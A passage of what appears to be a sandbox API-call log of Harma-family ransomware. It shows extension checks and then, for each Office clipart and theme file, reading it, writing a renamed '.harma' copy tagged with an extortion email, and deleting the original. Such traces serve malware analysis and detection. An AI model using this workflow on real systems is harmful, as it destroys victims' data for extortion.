returned 4 [0143.168] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.168] lstrlenW (lpString=".docx") returned 5 [0143.168] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0143.168] lstrlenW (lpString=".pdf") returned 4 [0143.168] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.168] lstrlenW (lpString=".xls") returned 4 [0143.168] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.168] lstrlenW (lpString=".xlsx") returned 5 [0143.168] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0143.168] lstrlenW (lpString=".ppt") returned 4 [0143.168] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.169] lstrlenW (lpString=".zip") returned 4 [0143.169] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.169] lstrlenW (lpString=".rar") returned 4 [0143.169] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.169] lstrlenW (lpString=".bz2") returned 4 [0143.169] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.169] lstrlenW (lpString=".7z") returned 3 [0143.169] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.169] lstrlenW (lpString=".dbf") returned 4 [0143.169] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.169] lstrlenW (lpString=".1cd") returned 4 [0143.169] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.169] lstrlenW (lpString=".jpg") returned 4 [0143.169] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.169] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.169] lstrlenW (lpString="PARNT_09.MID") returned 12 [0143.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.170] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=6764) returned 1 [0143.170] CloseHandle (hObject=0x350) returned 1 [0143.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0143.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.170] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.170] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0143.171] GetLastError () returned 0x0 [0143.171] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0143.173] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0143.174] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.174] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.174] SetEndOfFile (hFile=0x330) returned 1 [0143.174] CloseHandle (hObject=0x330) returned 1 [0143.175] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.175] SetEndOfFile (hFile=0x350) returned 1 [0143.177] CloseHandle (hObject=0x350) returned 1 [0143.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0143.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.178] lstrlenW (lpString=".doc") returned 4 [0143.178] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.178] lstrlenW (lpString=".docx") returned 5 [0143.178] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0143.178] lstrlenW (lpString=".pdf") returned 4 [0143.178] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.178] lstrlenW (lpString=".xls") returned 4 [0143.178] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.178] lstrlenW (lpString=".xlsx") returned 5 [0143.178] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0143.178] lstrlenW (lpString=".ppt") returned 4 [0143.178] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.178] lstrlenW (lpString=".zip") returned 4 [0143.179] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.179] lstrlenW (lpString=".rar") returned 4 [0143.179] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.179] lstrlenW (lpString=".bz2") returned 4 [0143.179] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.179] lstrlenW (lpString=".7z") returned 3 [0143.179] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.179] lstrlenW (lpString=".dbf") returned 4 [0143.179] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.179] lstrlenW (lpString=".1cd") returned 4 [0143.179] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.179] lstrlenW (lpString=".jpg") returned 4 [0143.179] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.179] lstrlenW (lpString=".doc") returned 4 [0143.179] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.179] lstrlenW (lpString=".docx") returned 5 [0143.179] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0143.179] lstrlenW (lpString=".pdf") returned 4 [0143.179] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.179] lstrlenW (lpString=".xls") returned 4 [0143.179] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.179] lstrlenW (lpString=".xlsx") returned 5 [0143.179] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0143.179] lstrlenW (lpString=".ppt") returned 4 [0143.180] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.180] lstrlenW (lpString=".zip") returned 4 [0143.180] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.180] lstrlenW (lpString=".rar") returned 4 [0143.180] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.180] lstrlenW (lpString=".bz2") returned 4 [0143.180] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.180] lstrlenW (lpString=".7z") returned 3 [0143.180] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.180] lstrlenW (lpString=".dbf") returned 4 [0143.180] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.180] lstrlenW (lpString=".1cd") returned 4 [0143.180] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0143.180] lstrlenW (lpString=".jpg") returned 4 [0143.180] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.180] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.180] lstrlenW (lpString="PARNT_10.MID") returned 12 [0143.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.181] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=5393) returned 1 [0143.181] CloseHandle (hObject=0x350) returned 1 [0143.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0143.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.181] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.182] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0143.182] GetLastError () returned 0x0 [0143.182] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1511, lpOverlapped=0x0) returned 1 [0143.525] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1520, lpOverlapped=0x0) returned 1 [0143.526] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.527] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.527] SetEndOfFile (hFile=0x330) returned 1 [0143.920] CloseHandle (hObject=0x330) returned 1 [0143.920] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.920] SetEndOfFile (hFile=0x350) returned 1 [0144.225] CloseHandle (hObject=0x350) returned 1 [0144.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0144.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.628] lstrlenW (lpString=".doc") returned 4 [0144.628] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0144.628] lstrlenW (lpString=".docx") returned 5 [0144.628] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0144.628] lstrlenW (lpString=".pdf") returned 4 [0144.628] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0144.628] lstrlenW (lpString=".xls") returned 4 [0144.628] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0144.628] lstrlenW (lpString=".xlsx") returned 5 [0144.628] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0144.628] lstrlenW (lpString=".ppt") returned 4 [0144.628] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0144.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.628] lstrlenW (lpString=".zip") returned 4 [0144.628] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0144.629] lstrlenW (lpString=".rar") returned 4 [0144.629] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0144.629] lstrlenW (lpString=".bz2") returned 4 [0144.629] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0144.629] lstrlenW (lpString=".7z") returned 3 [0144.629] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString=".dbf") returned 4 [0144.629] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString=".1cd") returned 4 [0144.629] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString=".jpg") returned 4 [0144.629] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString=".doc") returned 4 [0144.629] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0144.629] lstrlenW (lpString=".docx") returned 5 [0144.629] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0144.629] lstrlenW (lpString=".pdf") returned 4 [0144.629] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0144.629] lstrlenW (lpString=".xls") returned 4 [0144.629] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0144.629] lstrlenW (lpString=".xlsx") returned 5 [0144.629] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0144.629] lstrlenW (lpString=".ppt") returned 4 [0144.629] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0144.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.629] lstrlenW (lpString=".zip") returned 4 [0144.630] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0144.630] lstrlenW (lpString=".rar") returned 4 [0144.630] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0144.630] lstrlenW (lpString=".bz2") returned 4 [0144.630] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0144.630] lstrlenW (lpString=".7z") returned 3 [0144.630] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0144.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.630] lstrlenW (lpString=".dbf") returned 4 [0144.630] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0144.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.630] lstrlenW (lpString=".1cd") returned 4 [0144.630] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0144.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0144.630] lstrlenW (lpString=".jpg") returned 4 [0144.630] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0144.630] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.630] lstrlenW (lpString="Composite.eftx") returned 14 [0144.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0144.659] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=533988) returned 1 [0144.659] CloseHandle (hObject=0x358) returned 1 [0144.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0144.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0144.660] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.660] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.661] GetLastError () returned 0x0 [0144.661] ReadFile (in: hFile=0x358, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x825e4, lpOverlapped=0x0) returned 1 [0144.674] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0144.686] ReadFile (in: hFile=0x358, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.686] WriteFile (in: hFile=0x368, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0144.686] SetEndOfFile (hFile=0x368) returned 1 [0144.687] CloseHandle (hObject=0x368) returned 1 [0144.687] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.687] SetEndOfFile (hFile=0x358) returned 1 [0145.294] CloseHandle (hObject=0x358) returned 1 [0145.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString=".doc") returned 4 [0145.448] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".docx") returned 5 [0145.448] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.448] lstrlenW (lpString=".pdf") returned 4 [0145.448] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".xls") returned 4 [0145.448] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".xlsx") returned 5 [0145.448] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.448] lstrlenW (lpString=".ppt") returned 4 [0145.448] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString=".zip") returned 4 [0145.448] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".rar") returned 4 [0145.448] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".bz2") returned 4 [0145.448] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString=".7z") returned 3 [0145.448] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString=".dbf") returned 4 [0145.448] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString=".1cd") returned 4 [0145.448] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.448] lstrlenW (lpString=".jpg") returned 4 [0145.449] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString=".doc") returned 4 [0145.449] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString=".docx") returned 5 [0145.449] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.449] lstrlenW (lpString=".pdf") returned 4 [0145.449] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString=".xls") returned 4 [0145.449] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString=".xlsx") returned 5 [0145.449] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.449] lstrlenW (lpString=".ppt") returned 4 [0145.449] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0145.449] lstrlenW (lpString=".zip") returned 4 [0145.449] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.449] lstrlenW (lpString=".rar") returned 4 [0145.449] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 